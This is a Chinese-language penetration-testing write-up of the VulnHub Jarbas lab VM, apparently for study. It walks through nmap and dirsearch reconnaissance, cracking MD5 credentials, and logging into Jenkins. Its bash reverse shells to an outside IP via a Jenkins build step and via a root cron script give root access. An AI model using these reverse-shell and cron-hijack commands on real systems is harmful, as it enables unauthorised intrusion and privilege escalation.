准备阶段
Jarbas介绍
- Jarbas是一款基于Linux系统的渗透测试靶场,用于模拟各种安全漏洞和攻击场景。
- 通常包含了多个不同难度级别的漏洞,可以通过各种渗透测试技术来尝试攻破这些靶机。
Jarbas安装
- Jarbas靶场的下载地址:https://download.vulnhub.com/jarbas/Jarbas.zip
- 将压缩包解压,使用虚拟机打开下载的.vmx文件。
信息收集
尝试登录
下载并安装后发现需要用户名和密码,但是并没有给出默认的用户名和密码。
尝试了一些可能出现的账号密码后,并未正确。
查看靶机IP
不能登入靶机,无法通过ipconfig查看靶机IP地址。
更改网络适配器模式:
将靶机的网络模式改成NET模式,共享主机的ip,让靶机和主机在同一网段下。
我的VMware虚拟机的虚拟网络配置,VMnet8是使用的NAT模式,默认子网是192.168.152.0
攻击机(本机)使用ipconfig命令查看
使用nmap扫描
nmap -sV 192.168.152.1/24
-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息
通过扫描可以判断出,Jarbas靶机IP地址为192.168.152.152,并且开放了4个端口。
nmap -sT -sV -O -p22,80,3306,8080 192.168.152.152
-sT:执行TCP扫描,这是最基本的扫描类型,通过建立完整的TCP连接来检测端口状态
-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息
-O:对目标主机运行的操作系统类型及其版本
-p:指定扫描的端口范围
nmap -sU -p22,80,3306,8080 192.168.152.152
-sU:执行UDP扫描,用于探测开放的UDP端口
UDP所有的端口都是关闭的,没什么发现
使用dirsearch扫描
python37 dirsearch.py -u http://192.168.152.152/ -x 404
-x:排除指定状态码页面
访问Web,寻找切入点
访问端口
访问网站的80段口,发现是正常的Web界面
访问网站的8080端口,像是一个后台登录界面
访问/access.html
访问后发现有三行编码
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98
首先想到的是拿去md5进行解密
解密后得到
tiago:italia99
trindade:marianna
eder:vipsu
看起来像是账号密码
登录后台
使用收集的Jenkins的默认账号密码进行登录
Jenkins:Jenkins
admin:Jenkins
结果均为登录失败
网上收集资料看到
尝试使用md5解密的账号密码进行登录
前两个均为错误
最后一个登陆成功并进入后台
开始渗透
Jenkins是一套著名的内容管理系统,是一个持续的集成工具
收集后台信息
在管理后台看看有没有什么可以利用的地方
发现并没有什么太多的功能
发现新建执行项目的地方,并对其进行利用
新建执行反弹shell任务
新建任务项
信息收集的时候我们知道了这并不是windows系统,而是一个Linux系统。
所以在构建页面-->增加构建步骤选项,选择Execute shell。
并编写反弹shell指令
bash -i >& /dev/tcp/47.99.162.137/6666 0>&1
保存后点击立即构建
这时候查看公网服务器,并以成功接收到shell
系统提权
收集用户信息
whoami查看当前用户为Jenkins
查看IP命令使用不了,证明权限不够
sudo -l查看有哪些权限,发现什么权限也没有
cat /etc/passwd
发现了root用户和一些功能性用户,还有一些没有被分配bash的用户
crontab提权(系统定时任务)
cat /etc/crontab
也有其他查看命令,一个一个去尝试
cat /etc/cron.d
cat /etc/crontab
发现有一个root运行的自动任务脚本
每5分钟运行一次,作用是删除访问日志
cat /etc/script/CleaningScript.sh
因为是以root权限执行的,所以进行利用
echo "bash -i >& /dev/tcp/47.99.162.137/6667 0>&1" >> /etc/script/CleaningScript.sh
在公网服务器监听利用端口,并等待
过了一会,成功拿到shell,并查看权限,为root
查看flag
通过ls发现当前目录下的flag文件,使用cat查看
总结
- 首先nmap做端口扫描,发现80和8080两个端口开放
- 通过两个端口的Web浏览和目录扫描,发现8080是内容管理系统
- 通过目录扫描得知账号密码,并成功登录
- 新建一个项目的时候,写进了反弹shell,并拿到初始shell的权限
- 收集提权信息
- 发现自动任务有root权限运行的,并进行利用,写入shell
- 成功拿到root权限,并查看flag